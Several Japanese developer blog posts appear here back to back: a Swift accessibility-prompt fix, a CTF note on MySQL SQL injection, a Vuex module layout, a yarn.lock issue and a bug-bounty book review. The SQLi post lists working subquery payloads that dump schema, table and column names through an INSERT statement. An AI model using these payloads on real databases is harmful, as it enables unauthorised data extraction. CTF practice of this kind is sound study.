【Swift5】AXIsProcessTrustedWithOptions(_:) アクセシビリティのダイアログ(Window)が表示されない[MacOS]
情報が乗ってないわけではないのですが、日本語のMacOS
の解説が少ないので残しておきます。この記事での原因はaddGlobalMonitorForEvents
です。
環境
xcode Version 11.2.1 (11B500) Apple Swift version 5.1.2 (swiftlang-1100.0.278 clang-1100.0.33.9)
コード
コード自体は割と転がっています。新規Cocoa Project
を作って、AppDelegate
のapplicationDidFinishLaunching()
メソッドに記述します。AXIsProcessTrustedWithOptions()
を呼ぶことで、アプリケーションに許可がない時にダイアログを表示することができます。
let options: NSDictionary = [kAXTrustedCheckOptionPrompt.takeRetainedValue() as NSString: true] if !AXIsProcessTrustedWithOptions(options){ //タイマーでチェックし続けるなどをよくする }
原因
僕の場合は、addGlobalMonitorForEvents()
(アプリを開いてなくてもバックグラウンドでイベントを仕込める)を利用していたので、AppSandbox
を切る必要がありました。左のプロジェクト階層のトップを開いて、Sging&Capabilities
タブを開きます。(Teamは設定しておくと良いかも)
AppSandbox
の右上のxボタンを押して消します。
これで表示されると思います。
【MySQL】VALUESの中に他テーブルの文字を挿入[SQLi]
想定
下の$params
の部分が入力になっている。ここで保存した値が、一覧ページに表示される仕様になっている。
INSERT INTO table_name (column_name1, column_name2) VALUES (1, $params) ;
スキーマ名をカラムに保存
$params = (select group_concat(schema_name) from information_schema.schema)
table名をカラムに保存
$params = (select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='必要ならスキーマ名')
group_concat
には独自でまとめられる個数制限があるらしいので、like
句などで絞ってBurp
のIntruder
などでa-z
を回すと効率良い。
$params = (select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_NAME like 'a%')
カラム名を保存
(select group_concat(COLUMN_NAME) from information_schema.columns where table_name='テーブル名')
最後に
あとは出題に合わせて適宜'
などを入れてください。(CTF)
【rails_vue_melt】Vuexを使う&管理
はじめに
前回はrails_vue_melt
というgem
を利用してRails
にvue.js
を導入しました。今回はVuex
をいい感じに管理しようと思います。が、もっと良いわけたかがあると思うので、普段使いしている方は自分のやり方でお願いします。。。
階層構造
最終的にこんな感じになりました。
├── application.js └── vue_melt ├── application.js ├── components │ └── Hello.vue ├── mixins ├── options │ └── test_counter.js └── store ├── counts │ ├── actions.js │ ├── getters.js │ ├── index.js │ └── mutations.js └── index.js
中身
呼び出す人
options/test_counter.js
が今回Vuex
を使いたい人です。
// app/frontend/packs/vue_melt/options/test_counter.js import {mapActions,mapState,mapGetters} from 'vuex' import countsModule from '../store/counts' export default { data:()=>({}), components: { counts: countsModule }, computed: { ...mapState({ clickCount: state => state.counts.clickCount }), ...mapGetters({ getCount:"counts/getCount" }) }, methods: { ...mapActions({ increment: "counts/increment", initTo:"counts/initTo" }), Increment(){ this.increment() }, InitTo(value){ this.initTo(value) } } }
大元
ここstore/index.js
でこれから作っていくであろうVuex
のモジュールを呼び出します。今回はcounts
という単純に数字をカウントするものをモジュールにまとめようと思います。
// app/frontend/packs/vue_melt/store/index.js import Vue from 'vue/dist/vue.esm' import Vuex from 'vuex' import countsModule from './counts' Vue.use(Vuex) const state = { } export default new Vuex.Store({ state, modules: { counts: countsModule //ここにどんどん使いしていきます。 } })
countsモジュールの中身
store/counts/index.js
でモジュール内のものをまとめています。また、モジュール内で触るデータの定義はここで行いました。
// app/frontend/packs/vue_melt/store/counts/index.js import actions from './actions' import getters from './getters' import mutations from './mutations' export const state = () =>({ clickCount: 0 }) export default { namespaced: true, state, actions, getters, mutations }
getters.js
にはVuex
に保存してあるデータを読み込み時使うものを定義して基本ここ経由でのみget
するそうです。
// app/frontend/packs/vue_melt/store/counts/getters.js export default { getCount(state){ return state.clickCount } }
mutations.js
にはVuex
に保存してあるデータに変更を加える時に使うメソッドを定義します。ここ経由でのみデータの書き換えを許可します。
//app/frontend/packs/vue_melt/store/counts/mutations.js export default { increment(state){ state.clickCount++ }, initTo(state,value) { state.clickCount = value } }
actions.js
には、ビュー側からmutations
をいじるためのメソッドを定義します。ビュー側からはここに定義したもの経由でのみmutations
を呼び出すことを許可するようです。
// app/frontend/packs/vue_melt/store/counts/actions.js export default { increment ({commit}){ commit('increment') }, initTo({commit},value){ commit('initTo',value) } }
使ってみる
vue_melt
も含めてこんな感じで呼べました。
.t(data-vue="test_counter") input.inc(type="button" v-on:click="increment" value="inc") {{getCount}} input.reset(type="button" v-on:click="initTo(0)" value="reset")
わかりにくいですがスクショも。
yarn.lock integrityが削除される
事象
こんな感じで、他人がコミットしたyarn.lockを使用してyarn install
を行うと、integrity
行が大量に消えdiff
がものすごいことになる。
環境
$ yarn -v 1.16.0
結論
元々yarn1.10系
から導入されたもののようで、過去に1.9系
でinstallを行うとintegrity
が消えるという、今回と同じissue
が見つかった。
https://spectrum.chat/yushima-js/general/2018-11-1-110-mtg~f4d1ed4b-a658-4c95-a0e0-8f4acd303407
方向性としておそらく同issue
のこのコメントが採用されているはず、、
If there is a 1.9 style yarn.lock file (i.e. it doesn't contain integrity entries), keep it as a 1.9 style lock file, don't add integrity entries. Print a warning, something like "Using yarn 1.9 compatible lock file; run yarn upgrade-lock-file to upgrade [and enable integrity checking]". 引用元:https://github.com/yarnpkg/yarn/issues/6440#issuecomment-427784186
- 基本的にチームメンバで同じバージョンを利用すること。
- もし
1.9系
を使っている人がいるのなら、1.9系
に合わせる
とのことなので、これを信じるなら、僕が再びyarn install
を実行してもdiff
がまた大量発生することはなさそう。
少し昔の事象のようですが、日本語情報が少なかったので念の為。
Real-World Bug Hunting 読みました
内容
HackerOne
を中心に、過去のレポート
をなぞりながら、どうやってサイトを探索してバグを見つけ出したかを丁寧に説明してくれます。各脆弱性の種類ごとに章が組まれていて、章内では軽く脆弱性の説明と3,4個のレポートとその流れを説明していく感じです。英語
ですが、脆弱性について知っている人は想像しながら読めるので苦戦はしないと思います。
最後の章では、今までのまとめとしてどうやってバグを探すか、手順を示しながら説明してくれます。
対象読者
- どうやってバグを探すのか
道筋
がはっきり立っていない人 - バグバウンティ始めたての人
- 基本的な脆弱性はわかってる人(わかってなくても大丈夫ですが、詳細な説明はないので自分で調べるとイメージしやすい)
なので、基本的にどう探すかイメージがつくような本になってました。普通にバグハンをやっている人は読む価値は薄いかもしれません。。それと、自分でレポート
などを日常的に読んでいる人にとっても、あまり収穫は多くないかもしれません。
その他
買ったけど時間がなかったり、途中で内容に飽きた人は、最後の章だけ読めば全体の美味しいとこ取りができるのでおすすめです。色々まとめてあったり、レポート出すときの注意点や、付録としてツール
の紹介や練習サイト
、バウンティのサイトがまとめてあります。
僕は読者対象にぴったり当てはまっていたと思うので、買ってとても良かった
です。
https://www.amazon.co.jp/Real-World-Bug-Hunting-Hacking-English-ebook/dp/B072SQZ2LG